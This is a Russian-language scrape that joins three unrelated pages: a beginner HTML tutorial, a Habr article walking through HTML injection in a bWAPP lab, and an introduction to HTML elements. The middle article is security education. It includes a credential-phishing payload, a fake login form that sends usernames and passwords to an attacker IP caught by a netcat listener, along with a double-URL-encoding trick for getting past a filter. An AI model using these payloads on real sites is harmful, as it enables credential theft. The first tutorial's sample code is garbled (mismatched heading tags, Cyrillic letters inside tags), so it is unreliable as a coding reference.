Язык программирования хтмл: Основы языка WEB программирования HTML | Info-Comp.ru

Содержание

Основы языка WEB программирования HTML | Info-Comp.ru

Все пользуются Интернетом и все просматривают различные сайты, и, наверное, всем хотелось бы разместить свой сайт в Интернете, но это не просто так сделать, на это существует много причин. Однако для того чтобы Вы смогли разместить качественный сайт, Вам просто необходимо знать основу «WEB-программирования», которой и является язык HTML. В данной статье мы рассмотрим основные элементы, теги, атрибуты, даже напишем первую web страницу.

Hyper Text Markup Language — «HTML» (язык разметки гипертекста) многие уже давно перестали его считать просто языком программирования. Так как само понятие HTML включает в себя различные методы оформления гипертекстовых документов, дизайн, гипертекстовые редакторы, браузеры и много всего другого. Пользователь, освоивший этот язык, приобретает возможность делать серьезные вещи простыми методами и, главное, быстро, что в современном мире считается очень хорошо!

На языке HTML можно создавать  собственные мультимедийные продукты и распространять их на cd-дисках, и все эти продукты,  выполненные в виде наборов HTML-страниц, не требуют разработки специализированных программных средств, так как все необходимое для работы с данными (

Web-браузеры) стали частью стандартного программного обеспечения большинства персональных компьютеров.

Для того чтобы Вам было легче дальше понимать, о чем я с Вами говорю, давайте рассмотрим основные термины, которые употребляются в HTML:

  • Элемент (element) — конструкция языка HTML. Это объект, содержащий данные и позволяющий отформатировать их определенным образом. Любая Web-страница представляет собой набор элементов. Одна из основных идей гипертекста — возможность вложения элементов.
  • Тег (tag) — начальный или конечный маркеры элемента. Теги определяют границы действия элементов и отделяют элементы друг от друга. В тексте Web-страницы теги заключаются в угловые скобки, а конечный тег всегда снабжается косой чертой.
  • Атрибут (attribute) — параметр или свойство элемента. Другими словами это переменная, которая имеет стандартное имя и которой может присваиваться определенный набор значений: стандартных или произвольных. Предполагается, что символьные значения атрибутов заключаются в прямые кавычки, но некоторые браузеры позволяют не использовать кавычки. Это объясняется тем, что тип атрибута всегда известен заранее. Атрибуты располагаются внутри начального тега и отделяются друг от друга пробелами.
  • Гиперссылка — часть текста, которая является указателем на другой файл или объект. Гиперссылки необходимы для того, чтобы обеспечить возможность перехода от одного документа к другому.
  • Фрейм (frame) — этот термин имеет два значения. Первое — область документа со своими полосами прокрутки. Второе значение — одно изображение в сложном (анимационном) графическом файле (похожее на  кадр из кинофильма). Также возможно вместо термина «фрейм» в специальной литературе и локализованных программных продуктах можно встретить термин «кадр» или «рамка».
  • HTML-файл или HTML-страница — документ, созданный в виде гипертекста на основе языка HTML. Такие файлы имеют расширения htm или html.
  • Апплет (applet) — программа, передаваемая на компьютер клиента в виде отдельного файла и запускаемая при просмотре Web-страницы.
  • Скрипт
    или сценарий (script) — программа, включенная в состав Web-страницы для расширения ее возможностей.
  • Расширение (extension) — элемент, не входящий в спецификацию языка, но использующийся, обеспечивая возможность создания нового интересного эффекта форматирования.
  • CGI (Common Gateway Interface) — общее название для программ, которые, работая на сервере, позволяют расширить возможности Web-страниц. Например, без таких программ невозможно создание интерактивных страниц.
  • Код HTML — гипертекстовый документ в своем первоначальном виде, когда видны все элементы и атрибуты.
  • Web-страница — документ (файл), подготовленный в формате гипертекста и размещенный в World Wide Web.
  • Сайт (site) — набор Web-страниц, расположенных в одном месте и связанных между собой.
  • Браузер (browser) — программа для просмотра Web-страниц.
  • Загрузка (downloading) — копирование файлов с сервера на компьютер-клиент.
  • URL (Uniform Resource Locator
    ) или универсальный указатель ресурса, адрес некоторого объекта в Интернете, т.е. типичный URL для WWW, имеет вид: http://www.название.домен/имя файла.

Все элементы языка можно условно разделить на три группы. К первой относятся элементы, которые создают структуру гипертекстового документа. Использование таких элементов — необходимая формальность, которой нельзя пренебрегать. Ко второй группе можно отнести элементы, создающие эффекты форматирования. Их использование диктуется конкретными требованиями к документу, фантазией и компетенцией разработчика, К третьей группе относятся элементы, которые позволяют управлять программными средствами, установленными и работающими на компьютере-клиенте. Часто такие элементы создаются автоматически, когда разработчик использует для вставки некоторого объекта в документ гипертекстовый редактор или подобную программу.

Несмотря на то, что спецификация HTML является стандартом, этот язык дополняется новыми элементами (расширениями). Поэтому некоторые Web-страницы удобнее просматривать при помощи определенных браузеров. Расширения создаются только известными фирмами, которые разрабатывают программное обеспечение для WWW, а рядовые пользователи могут совершенствовать свои Web-страницы при помощи программирования. Аплеты позволяют снять ограничения HTML и дают простор фантазии разработчика.

Версии HTML

Первая версия языка HTML была разработана в начале 90-х годов Тимом БенерсЛи для одного из распространенных в прошлом браузера Mosaic. Но тогда ни для браузера, ни для самого HTML еще не нашлось хорошего применения. В 1993 году появился HTML+, и эта версия также осталась практически незамеченной. Но распространение язык HTML получил благодаря версии 2.0, которая появилась в июне 1994 года. И с того момента происходят возрастание популярности WWW по всему миру. Стандарты, включенные в версию 2, настолько прижились что используются и по сей день.

HTML версия 3.0, которая появилась примерно год спустя, в ней была реализована возможность прорисовки математических символов (знаков интеграла, бесконечности, дроби, скобок и т. д.) при помощи элементов языка. Но развитие этого проекта затормозилось и не получило дальнейшего распространения.

В 1996 году появился HTML версии 3.2. Это было блестящие решение, достаточно упомянуть, что в спецификацию языка были введены фреймы, которые стали теперь весьма популярными у разработчиков сайтов. И по сей день все браузеры поддерживают эту версию HTML.

Официальная спецификация HTML 4 (Dynamic HTML) разрабатывалась  в 1997 год. В это время уже было очевидно, что дальнейшее развитие гипертекста будет осуществляться за счет web-программирования. Это оказалось намного более эффективным, чем вводить в язык все новые элементы.

Структура Web-страницы

Ниже представлен код Web-страницы, который выполнен на языке HTML, и на примере этой страницы мы разберем ее структуру, но для начала скопируйте весь код в обычный текстовый блокнот и нажмите «Сохранить как» и сохраняйте уже файл с расширением html, т.е. после названия напишите .html

<! DOCTYPE HTML "-//W3C//DTD HTML4.01 Transitional//en">
<htмl>
<head>
<titlе>Структура web документа</title>
<meta html-equiv="Content-Type"Content="text/html;charset=windows-1251">
<meta name="Keywords" content="softvt">
<meta name="discription" content="softvt">
</head>
<body bgcolor = #FFFFFF>
<a name ="list"></a>
Переход в <a href="#list1">Конец документа</a> <p>
Переход к <a href="#list2"><b>первая ссылка <b></a></p>

<НR>
<Н1>Заголовок 1</h2>
<Н2>Заголовок 2</h3>
<НЗ>Заголовок 3</h4>
<Н4>Заголовок  4</h5>
<Н5>Заголовок   5</h5>
<Н6>Заголовок   6</h6>
<НR>
Здесь  расположена  <b>первая ссылка  </b><а name ="list2"></a>
<НR>
<р>Здесь должен располагаться<br> основной текст web страницы. <br>
А я, например, вставлю сюда <br>несколько переносов,<br>
для того чтобы Вы могли<br> наглядно наблюдать,<br>
как у Вас работает <br>ссылки внутри документа,<br>
а то если у Вас будет большое разрешение,<br>
Вы просто не заметите переход по ссылкам<br>

<НR>
<а name="list1"</a><p>
Переход в <а href ="#list">Начало документа</a>
</body>
</html>


Для того чтобы понять структуру Web-страницы, необходимо рассмотреть все ее элементы, которые входят в приведенный выше код.

<html> </html>

Обозначение документа на языке HTML. Одно из принципов языка является многоуровневое вложение элементов. Данный элемент является самым внешним, так как между его начальным и конечным тегам должна находиться вся Web-страница. По идеи, этот элемент можно рассматривать как формальность. Он имеет атрибуты version, lang и dir, которыми в данном случае редко кто пользуется, и допускает вложение элементов HEAD, BODY FRAMESET и других, определяющих общую структуру Web-страницы. Естественно, что конечным тегом </html> заканчиваются все подобные документы.

<head> </head>

Область заголовка Web-страницы. Другими словами, ее первая часть. Так же, как и предыдущий элемент, HEAD служит только для формирования общей структуры документа. Этот элемент может иметь атрибуты lang и dir.

<title> </title>

Элемент для размещения заголовка Web-страницы. Строка текста, расположенная внутри этого элемента, отображается не в документе, а в заголовке окна браузера. Данный элемент очень сильно влияет на продвижение в поисковой системе т.к. поисковые системы уделяют особое внимание на тег TITLE. Мой совет: никогда не делаете очень длинный текст в этом теге (

65 символов достаточно).

<МЕТА>

Этот элемент содержит служебную информацию, которая не отражается при просмотре Web-страницы. Внутри него нет текста в обычном понимании, поэтому нет и конечного тега. Каждый элемент МЕТА содержит два основных атрибута, первый из которых определяет тип данных, а второй — содержание.

<body><body>

Этот элемент объединяет в себе гипертекст, который определяет собственно Web-страницу. Это та видимая часть документа, которую разрабатывает авто страницы и которая отображается браузером. Соответственно, конечный тег этого элемента надо искать в конце Web-страницы. Внутри элемента BODY можно использовать все элементы, предназначенные для дизайна Web-страницы. Внутри начального тега элемента BODY можно расположить много атрибутов, которые служат для установки всей страницы целиком. Рассмотрим их по порядку.

Один из самых полезных атрибутов данного тега, который оказывает свое влияние на дизайн страницы это

background=»путь к файлу фона»

Более простое оформление фона сводится к заданию его цвета

bgcolor=»#FFFFFF»

Цвет фона задается тремя двухразрядными шестнадцатеричными числами, которые определяют интенсивность красного, зеленого и синего цветов (rbg).

Так как можно изменить фон страницы можно и изменить цвет текста. Для этого имеется следующий атрибут

text=» #RRGGBB»

Для задания цвета текста гиперссылок используется следующий атрибут

link=»#RRGGBB»

Можно также указать изменение цвета для последней выбранной пользователем гиперссылки

Tiling «#RRGGBB»

Далее рассмотрим заголовки.

<Н1></h2>

Элемент заголовка. Различают шесть уровней заголовков, которые обозначаются следующим образом.
<Н1>Заголовок</h2>
<Н2>Заголовок</h3>
<Н3>Заголовок</h4>
<Н4>Заголовок</h5>
<Н5>Заголовок</H5>

<Н6>Заголовок</H6>

Заголовок уровня 1 самый крупный, а уровень 6 обеспечивает самый маленький заголовок. Для заголовков можно использовать атрибут, задающий выравнивание влево, по центру или вправо:

align=»left» align=»center» align=»right»

Для создания нового абзаца используется тэг <p>, а для перехода на новую строчку без создания абзаца — тэг <BR> т.е происходит перенос. Эти тэги закрывать не обязательно. Конечно, если Вы не используете в тэге <p> элемент ALIGN, которым может задавать выравнивание абзаца:

<p ALIGN=LEFT>По левому краю</p>
<p ALIGN=CENTER>По центру</p>
<p ALIGN=RIGHT>По правому краю</p>
<p ALIGN=JUSTIFY>Текст, находящийся между этими элементами выравнивается по ширине</p>


<НR>

Горизонтальная линия (horizontal rule) — очень распространенный элемент. Во-первых, потому что с его помощью очень легко и удобно делить страницу на части. Во-вторых, потому что выбор подобных элементов оформления у автора страницы очень небольшой. Элемент не имеет конечного тега, но имеет ряд атрибутов для выравнивания влево, по центру, вправо, по ширине:

  • align=»left»
  • align=»center»
  • align=»right»
  • align=»justify»

<a> </а>

HTML-документ может быть очень громоздким, и не очень удобный пользователю у которого возникает необходимость быстрого перемещения к нужному разделу документа. Для этого можно использовать механизм гиперссылок. Для этого в нужных местах текста расставить соответствующие метки.

<а name=»метка»>Произвольный текст</a>

В этом случае данной строке документа присваивается имя, и, следовательно, другой части документа или даже на другом документе может быть создана гиперссылка, приводящая к этой метки.

Для вставки изображений (картинки) в HTML документ используется следующий тег (представлено полное описание атрибутов данного тега):
<IМG SRC=»Рисунок» BORDER=»0″ ALIGN=»Выравнивание» WIDTH=»Ширина» HEIGHT=»Высота» HSPACE=»Отступ_1″ VSPACE=»Отступ_2″ ALT=»Подсказка» NAME=»Имя» LOWSRC=»Рисунок_2″>

Списки

(list) были разработаны в HTML, несомненно, под влиянием успеха текстовых редакторов. От обычного текста список отличается, прежде всего, тем, что пользователю не нужно думать о нумерации его пунктов: эту задачу HTML берет на себя. Если список дополняется новыми пунктами или укорачивается, нумерация продолжается автоматически. В случае ненумерованных списков HTML ставит перед каждым пунктом отметки: кружки, прямоугольники, ромбы и другие изображения. В конечном итоге список принимает приличный, вид. Существует две группы таких тегов: одни определяют общий вид списка (и позволяют указывать атрибуты), а другие задают его внутреннюю структуру. В списках можно использовать стандартные атрибуты. Существует несколько видов списков.

<ul> <li> </ul>

Самым распространенным является ненумерованный список (unordered list). Он представлен ниже:

  <ul>
  <li>Пункт 1 списка</li>
  <li>Пункт 2 списка</li>
  <li>Пункт 3 списка</li>
  </ul>


Элемент ul является своеобразным выделением списка. Он позволяет разделять один список от другого. Элемент liобозначает каждый из пунктов.

Таблицы

Являются одним из самых необходимых средством форматирования данных на Web-странице. Основное удобство заключается в том, что браузер прорисовку всей таблицы берет на себя. Размер рамки может быть автоматически согласован с размером окна просмотра в браузере и, разумеется, с размером находящихся в ячейках таблицы строк текста и рисунков. По мимо всего прочего, таблицы позволяют решать многие дизайнерские задачи: выравнивать части страницы друг относительно друга, размещать рядом рисунки и текст, управлять цветовым оформлением и так далее. При создании таблиц применяется принцип вложения: внутри основного элемента таблицы (TABLE) создается ряд элементов, определяющих строки (TR), а внутри этих элементов располагаются элементы для описания каждой ячейки в строке (ТD,ТН).

Для того чтобы разобраться в структуре существующей таблицы или разработать новую таблицу, существует одно правило, что последовательность элементов описывает таблицу сверху вниз и справа налево. Например, если после элемента TABLE указан элемент TR, это указывает на то, что начинается описание новой строки таблицы. Все, что расположено за этим элементом, будет размещено в одной строке (справа налево). Это может быть последовательность элементов TD (ячеек), другая таблица и так далее. После того как появится новый элемент TR, начнется описание следующей строки, и т. д. до конца таблицы (тега </table>).
Таблицу можно выровнять по горизонтали при помощи атрибута align:

  • align=»left» — влево;
  • align=»center» — по центру;
  • align=» right» — вправо.

Ширину таблицы можно задать точно в пикселях или в процентном отношении к ширине страницы в окне браузера. Например: width=400 или width=50%

Для управления видом рамки используются два атрибута. Дело в том, что браузер создает изображение рамки, имитируя ее трехмерность (выпуклость) при помощи различия в освещенности граней

Сценарии

Практически все web – мастера хотят, чтобы их страницы на сайте имели современный вид, были многофункциональными, красивыми и динамичными. Стандартными средствами HTML это невозможно, поэтому применяются разные средства: апплеты, объекты, каскадные таблицы стилей и так далее. Но самым популярным и распространенным видом (приемом) является использование сценариев.

Сценарий — это программный код, который включается в текст страницы в виде исходного текста и выполняется браузером при просмотре страницы. Сценарий может быть написан на языке JavaScript, разработанном фирмой Netscape, или на Visual Basic Script (VBScript), разработанном фирмой Microsoft.

<script> </script>

Данный тег позволяет отделить текст программы-сценария от другой информации страницы. Тег SCRIPT обязательно включает в себя атрибут language, который определяет язык и может принимать следующие значения:

  • javascript — код на языке JavaScript;
  • vbscript — код на языке VBScript.

Атрибут type тоже может указывать на тип языка, хотя его применение не является обязательным. Чтобы не нарушать все правила, внутри элемента можно поместить такое определение:

type=»text/javascript»

Одной из самых прикольных особенностей сценариев является возможность изменения содержимого страницы в результате выполнения программы. Но это только особеность, а не правило. С помощью атрибута defer (который не принимает никаких значений) можно «сказать» браузеру, что таких изменений внесено, не будет. В некоторые случаях это позволяет ускорить загрузку страницы.

Из стандартных атрибутов можно использовать атрибут charset.

Тег SCRIPT (или ряд таких элементов) может располагаться как внутри элемента HEAD, так и внутри элемента BODY. Если сценарий находится внутри элемента BODY, возможна и такая ситуация, когда какой-нибудь браузер, не поддерживающий элемент SCRIPT, воспримет программный код как обычный текст и выведет его на экран. Чтобы этого не случилось, код сценария вводят как комментарий:

— <SCRIРT language =»язык»>
— <!—  Все, что относится к коду сценария —>
— </script>

Все современные браузеры распознают этот прием и игнорируют символы комментария. Если в тексте сценария нужно ввести комментарий, то для этого используют иное обозначение: в начале строки вводят два слеша //.
Программный код сценария выполняется в момент загрузки страницы, т.е. когда на экране еще видно ее содержание. Ниже представлен пример простейшего сценария (вывод сообщения в окне).

— <html>
— <head>
— <METА http-equiv=»Content-Type» content=»text/html; charset=windows-1251″>
— <TITLE>Просто сценарий</TITLE>
— <script language=»javascript»>
— alert(«Вы написали свой первый сценарий!»)
— </script>
— </head>
— </bоdy>
— </html>

Это простая страница, но она включает сценарий из одной строки. С помощью метода alert перед загрузкой выводится сообщение. И оно будет висеть до тех пор, пока пользователь не нажмет на кнопку ОК, загрузка не будет продолжена.
Возможен случай, например страница, будет просматриваться в браузере, не поддерживающем сценариев, для этого предусмотрен элемент NOSCRIPT. Современные программы просмотра игнорируют его содержимое. Этот элемент можно использовать несколькими методами. Для начала, внутри него можно показать объявление наподобие следующего: «Ваш браузер не может выполнить сценарий, необходимый для просмотра этой web-страницы!» Во-вторых, внутри элемента можно разработать упрощенную версию страницы, без скриптов. В-третьих, можно создать ссылку на другой HTML-документ. Элемент NOSCRIPT должен обязательно снабжаться конечным тегом.

Вот мы с Вами и рассмотрели основы такого языка WEB-программирования как HTML. Даже после прочтения этой небольшой статьи Вы уже имеете представление, и даже возможность программировать на этом языке. Желаю удачи!

Нравится3Не нравится

Подробное руководство по HTML-инъекциям / Блог компании AlexHost / Хабр

HTML считается каркасом для каждого веб-приложения, определяющим его структуру. Но порой даже самую продуманную экосистему можно испортить парочкой простых скриптов.

Сегодня мы узнаем, как злоумышленники могут получить доступ к веб-приложению с помощью ошибок в его HTML коде.


Содержание:


  • Что такое HTML?
  • Что такое HTML-инъекция?
  • Угрозы HTML-инъекции
  • HTML-инъекция и XSS
  • Типы инъекций
    • Сохраненный HTML
    • Отраженный HTML
      • GET
      • POST
      • Текущий URL
  • Защита от HTML-инъекции

Что такое HTML?

HTML (HyperText Markup Langauge) — это основной строительный блок сети, который определяет формирование веб-страниц в веб-приложении. HTML используется для разработки веб-сайтов, состоящих из «гипертекста», чтобы включить «текст внутри текста» в качестве гиперссылки и комбинации элементов, которые визуально отображаются в браузере.

Что такое элемент?

Элемент — это основная структурная единица веб-страницы. Он содержит открывающий и закрывающий теги с текстовым содержимым между ними».


HTML-тег

Тег HTML маркирует фрагменты содержимого, такие как:


  • «заголовок»
  • «абзац»
  • «форма» и т. д.

Это имена элементов, заключенные в угловые скобки, которые бывают двух типов:


  • начальный тег (открывающий тег)
  • конечный тег (закрывающий тег)

Браузеры не отображают эти HTML-теги, но используют их для получения содержимого веб-страницы.


Атрибуты HTML

Атрибуты существуют для того, чтобы добавить в элементы дополнительную информацию. Они находятся внутри начального тега и представлены парами «имя/значение», так что за именем атрибута следует «знак равенства» и значение атрибута.

<a href = "https://alexhost.com"> Надежный и быстрый хостинг для ваших сайтов</a>

Здесь:


  • «href» — это «имя атрибута»
  • «https://alexhost.com» — «значение атрибута»

Теперь посмотрим на блок-схему элементов HTML и попытаемся ее реализовать для создания простой веб-страницы.


Базовая HTML-страница

Каждая веб-страница в Интернете является файлом HTML. Эти файлы представляют собой не что иное, как простые текстовые файлы с расширением «.html», которые сохраняются и запускаются через веб-браузер.

Итак, давайте попробуем создать простую веб-страницу в нашем блокноте и сохранить ее как hack.html:

<html>
<head>
<title> Hacking Articles lab</title>
</head>
<body bgcolor="pink">
<br>
<center><h3>WELCOME TO <a href=”http://hackingarticles.in”>HACKING ARTILCES </a></h3>
<br>
<p>Author “Raj Chandel”</p>
</center>
</body>
</html>

  • html — корневой элемент каждой HTML-страницы
  • head — метаинформацию о документе
  • title — заголовок веб-страницы
  • body — видимое содержимое страницы с атрибутом «bgcolor» как «розовый».
  • br — определяет строку разрыва или следующую строку.
  • h2 — большой заголовок.
  • p — абзац
  • a — тег привязки, который помогает нам установить «гиперссылку».

С основными моментами HTML разобрались, а для более подробного изучения можно почитать руководство.

Теперь давайте попробуем найти основные лазейки и узнать, как злоумышленники внедряют произвольные коды HTML в уязвимые веб-страницы.


Что такое HTML-инъекция?

HTML-инъекция является одной из самых простых уязвимостей, благодаря чему получила широкое распространение.

Возникает, когда веб-страница не может:


  • Дезинфицировать вводимые пользователем данные
  • Проверить вывод

Благодаря html-инъекции злоумышленник может внедрять вредоносный HTML-код в приложение через уязвимые поля, чтобы он мог изменять содержимое веб-страницы и даже собирать некоторые конфиденциальные данные.

Давайте рассмотрим, как выполняются такие атаки с использованием HTML-инъекции.

Рассмотрим веб-приложение, которое страдает от уязвимости HTML-инъекции и не проверяет какой-либо конкретный ввод. Обнаружив данную уязвимость, злоумышленник вводит свою вредоносную «HTML-форму входа» с приманкой, например, «Бесплатные билеты в кино», чтобы обманом заставить жертву предоставить свои конфиденциальные учетные данные.

Теперь на пораженной странице пользователи будут видеть приманку «Бесплатные билеты в кино», при клике по которой откроется фиктивная форма входа, созданная злоумышленником.


Угрозы HTML-инъекции

Когда поля ввода не дезинфицированы должным образом на веб-странице, тогда это может привести к атакам:


  • с использованием межсайтовых скриптов (XSS)
  • подделки запросов на стороне сервера (SSRF)

HTML-инъекция и XSS

На первый взгляд HTML-инъекция во многом похожа на межсайтовый скриптинг. Однако во время XSS-атаки можно внедрять и выполнять Javascript коды, а при HTML-инъекции приходится обходится только определенными HTML тегами.

Теперь давайте углубимся в различные атаки с использованием HTML-инъекции и рассмотрим необычные способы, с помощью которых мы можем испортить веб-страницы и получить учетные данные жертвы.


Сохраненный HTML

«Сохраненный HTML» — внедренный вредоносный скрипт постоянно сохраняется на сервере веб-приложений, который затем передает его обратно пользователю, когда он посещает внедренную веб-страницу. Однако, когда клиент нажимает на полезную нагрузку, которая отображается как официальная часть веб-сайта, внедренный HTML-код запускается браузером. Наиболее распространенный пример сохраненного HTML — это «опция комментариев» в блогах, которая позволяет любому пользователю вводить свой отзыв в форме комментариев для администратора или других пользователей. Давайте теперь попробуем использовать эту сохраненную уязвимость HTML и получить некоторые учетные данные.


Использование сохраненного HTML

Для манипуляция с HTML-инъекциями нам понадобиться приложение bWAPP, которое идет в комплекте с Kali Linux и другими ОС для белого хакинга.

Я открыл целевой IP-адрес в своем браузере и вошел в bWAPP как bee: bug, далее я установил для параметра «Choose Your Bug» значение «HTML Injection – Stored (Blog)» и активировал кнопку взлома.

Теперь мы будем перенаправлены на веб-страницу, которая страдает от уязвимости HTML-инъекции, позволяющая пользователю отправить свою запись в блог, как показано на снимке экрана.

Для начала мы создадим обычную запись пользователя, чтобы подтвердить, что введенные данные успешно сохранены в базе данных веб-сервера, которая, таким образом, отображается в «Поле ввода».

Теперь давайте попробуем внедрить нашу вредоносную полезную нагрузку, которая создаст поддельную форму входа пользователя на эту целевую веб-страницу и перенаправит захваченный запрос на наш IP-адрес. Введите следующий HTML-код в заданное текстовое поле, чтобы настроить HTML-атаку.

<div>Please login with valid 
credenitals:<br><form name="login" action="http://192.168.0.7:4444/login.htm">
<table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td>
<td><input type="text" name="password"/></td></tr><tr>
<td colspan=2 align=center><input type="submit" value="Login"/></td></tr>
</table></form>

На изображении ниже видно, что при нажатии кнопки «Submit» появляется новая форма входа, которая теперь находится на веб-сервере приложения и будет отображаться всякий раз при посещении пользователями данной страницы.

Давайте теперь запустим прослушиватель netcat через порт 4444, чтобы перехватывать запросы жертв.

nc –lvp 4444

Теперь нужно подождать, пока жертва не загрузит данную страницу в своем браузере и не введет свои учетные данные.

На изображении выше видим, что пользователь «Raj» открыл веб-страницу и попытался войти в учетную запись с помощью пароля «123». Теперь вернемся к нашему прослушивателю и проверем перехваченные им данные.

На изображении видно, что мы успешно получили учетные данные.


Отраженный HTML

Отраженный HTML возникает, когда веб-приложение немедленно отвечает на введенные пользователем данные, не проверяя их. Это может привести к тому, что злоумышленник внедрит исполняемый код браузера в один ответ HTML.

Вредоносный скрипт не сохраняется на веб-сервере, поэтому злоумышленнику необходимо отправить вредоносную ссылку через фишинг, чтобы поймать пользователя.

Отраженную уязвимость HTML можно легко обнаружить в поисковых системах веб-сайта, так как злоумышленник использует текстовое поле поиска для ввода произвольного HTML-кода. Если веб-сайт уязвим, тогда страница результатов будет возвращена в ответ на эти HTML-объекты.

Отраженный HTML бывает трех типов:


  • Отраженный HTML GET. Запрашивает данные из определенного источника.
  • Отраженный HTML POST. Оправляет данные на сервер для создания/обновления ресурса.
  • Отраженный HTML Текущий URL.

Отраженный HTML GET

Мы создали веб-страницу, на которой пользователи могут оставлять отзывы со своим именем.
Когда пользователь «Raj Chandel» отправляет свой отзыв как «Good», появляется сообщение «Thanks to Raj Chandel for your valuable time».

Этот мгновенный ответ и пара «имя/значение» в URL-адресе показывают, что эта страница может быть уязвима для HTML-инъекции.

Давайте теперь попробуем ввести несколько HTML-кодов в эту «форму» и проверим уязвима страница или нет.

<h2>Raj Chandel</h2>

Установите "Отзыв" на "Good".

На изображении ниже видно, что имя пользователя Raj Chandel было изменено в качестве заголовка.

Почему это произошло? Давайте посмотрим на следующий фрагмент кода.

Разработчик не настроил никакой проверки ввода, поэтому сайт просто повторя сообщение с благодарностью, к которому добавлялось имя с помощью переменной «$ _GET».

«Бывают случаи, когда разработчик настраивает некоторые проверки в полях ввода, которые отображают HTML-код обратно на экран без его визуализации».

На изображении видно, что при попытке выполнить HTML-код в поле имени он отбрасывается обратно в виде обычного текста.

Значит ли это, что уязвимость здесь залатана?

Давайте проверим все это, перехватив его исходящий запрос с помощью «burp suite», а затем отправим захваченный запрос прямо на вкладку «Repeater».

На вкладке «Repeater», при нажатии кнопки «Go» мы видим, что HTML объекты были здесь декодированы:

Копируем весь HTML-код:

<a href = http://hackingarticles.inhibited> <h3> Raj </h3> </a>

Вставляем его во вкладку «Decoder», нажимаем «Encode as» и выбираем URL-адрес.
Когда мы получим закодированный вывод, то снова установим его в «Encode as» для URL, чтобы получить его как в формате двойного URL-кодирования.

Теперь скопируем полный URL с двойной кодировкой и вставим его в поле «name =» на вкладке Repeater в параметре Request. Нажмите кнопку «GO», чтобы проверить сгенерированный ответ.

Отлично!!! На изображении видно, что ответ успешно обработан.

Теперь остается просто внести аналогичные изменения во вкладку «Proxy» и нажать кнопку «Forward». На изображении видно, что мы испортили данную веб-страницу, используя ее проверенные поля.

Давайте посмотрим на фрагмент кода, чтобы увидеть, где разработчик выполнил проверку ввода.

На изображении ниже видно, что здесь разработчик сделал функцию «hack» для переменных данных. Он даже декодировал «<» и «>» для $data и $input, далее он использовал встроенную PHP-функцию urldecode over для $input для декодирования URL.

На изображении ниже видно, что разработчик реализовал функцию «hack» в поле имени.


Отраженный HTML POST

Как и в случае с веб-страницей GET, здесь также уязвимы поля «Имя» и «Отзыв».
Поскольку реализован метод POST, то данные формы не будут отображаться в URL-адресе.
Опять попробуем изменить страницу, но в этот раз добавим изображение вместо статического текста.

<img src= "https://www.ignitetechnologies.in/img/logo-blue-white.png">

На изображении ниже видно, что логотип «Ignite technologies» был размещен перед экраном, поэтому злоумышленник может даже внедрить другие медиа-форматы, такие как:


  • Видео
  • Аудио
  • Гифки


Отраженный HTML Текущий URL

Может ли веб-приложение быть уязвимым для HTML-инъекции без полей ввода на веб-странице? Да, необязательно иметь поля ввода, такие как:


  • Поле комментариев
  • Поле поиска
  • Другие поля

Некоторые приложения отображают ваш URL-адрес на своих веб-страницах, который HTML-инъекция использует вместо поля ввода.

На изображении выше вы можете видеть, что текущий URL-адрес отображается на веб-странице как «http://192.168.0.16/hack/html_URL.php». Воспользуемся этим преимуществом и посмотрим, что мы можем сграбить.

Настройте свой «burp suite» и захватите текущий HTTP-запрос.

Теперь обработаем этот запрос с помощью:

/hack/html_URL.php/<h2>Hey_are_you_there?</h2> 

Нажмите кнопку «Forward», чтобы проверить результат в браузере.

Отлично!!! На изображении ниже видно, что мы успешно испортили веб-сайт, просто вставив желаемый HTML-код в URL-адрес веб-приложения.

Здесь разработчик использовал глобальную переменную PHP как $ _SERVER для захвата URL-адреса текущей страницы. Кроме того, он изменил имя хоста на «HTTP_HOST» и запрошенное местоположение ресурса на URL-адрес с «REQUEST_URI» и поместил все это в переменную $url.

Перейдя в раздел HTML, он просто установил echo с переменной $ url без какой-либо конкретной проверки, чтобы отобразить сообщение с URL-адресом.


Защита от HTML-инъекции

  • Установка HTML-скрипта, который будет фильтровать метасимволы из пользовательского ввода.
  • Реализация функции для проверки вводимых пользователем данных, чтобы они не содержали каких-либо конкретных тегов, которые могут привести к виртуальным искажениям.

Основы HTML - Изучение веб-разработки

HTML (Hypertext Markup Language) - это код, который используется для структурирования и отображения веб-страницы и её контента. Например, контент может быть структурирован внутри множества параграфов, маркированных списков или с использованием изображений и таблиц данных. Как видно из названия, эта статья даст вам базовое понимание HTML и его функций.

HTML не является языком программирования; это язык разметки, и используется, чтобы сообщать вашему браузеру, как отображать веб-страницы, которые вы посещаете. Он может быть сложным или простым, в зависимости от того, как хочет веб-дизайнер. HTML состоит из ряда элементов, которые вы используете, чтобы вкладывать или оборачивать различные части контента, чтобы заставить контент отображаться или действовать определенным образом. Ограждающие теги могут сделать слово или изображение ссылкой на что-то еще, могут сделать слова курсивом, сделать шрифт больше или меньше и так далее. Например, возьмем следующую строку контента:

Моя кошка очень раздражена

Если бы мы хотели, чтобы строка стояла сама по себе, мы могли бы указать, что это абзац, заключая его в теги абзаца:

<p>Моя кошка очень раздражена</p>

Анатомия HTML элемента

Давайте рассмотрим элемент абзаца более подробно.

Главными частями нашего элемента являются:

  1. Открывающий тег (Opening tag): Состоит из имени элемента (в данном случае, "p"), заключенного в открывающие и закрывающие угловые скобки.  Открывающий тег указывает, где элемент начинается или начинает действовать, в данном случае — где начинается абзац.
  2. Закрывающий тег (Closing tag): Это то же самое, что и открывающий тег, за исключением того, что он включает в себя косую черту перед именем элемента. Закрывающий элемент указывает, где элемент заканчивается, в данном случае — где заканчивается абзац. Отсутствие закрывающего тега является одной из наиболее распространенных ошибок начинающих и может приводить к странным результатам.
  3. Контент (Content): Это контент элемента, который в данном случае является просто текстом.
  4. Элемент(Element): Открывающий тег, закрывающий тег и контент вместе составляют элемент.

Элементы также могут иметь атрибуты, которые выглядят так:

Атрибуты содержат дополнительную информацию об элементе, которую вы не хотите показывать в фактическом контенте. В данном случае, class это имя атрибута, а editor-note это значение атрибута. Класс позволяет дать элементу идентификационное имя, которое может позже использоваться, чтобы обращаться к элементу с информацией о стиле и прочих вещах.

Атрибут всегда должен иметь:

  1. Пробел между ним и именем элемента (или предыдущим атрибутом, если элемент уже имеет один или несколько атрибутов).
  2. Имя атрибута, за которым следует знак равенства.
  3. Значение атрибута, заключенное с двух сторон в кавычки.

Вложенные элементы

Вы также можете располагать элементы внутри других элементов — это называется вложением. Если мы хотим заявить, что наша кошка очень раздражена, мы можем заключить слово "очень" в элемент <strong> , который указывает, что слово должно быть сильно акцентированно:

<p>Моя кошка <strong>очень</strong> раздражена.</p>

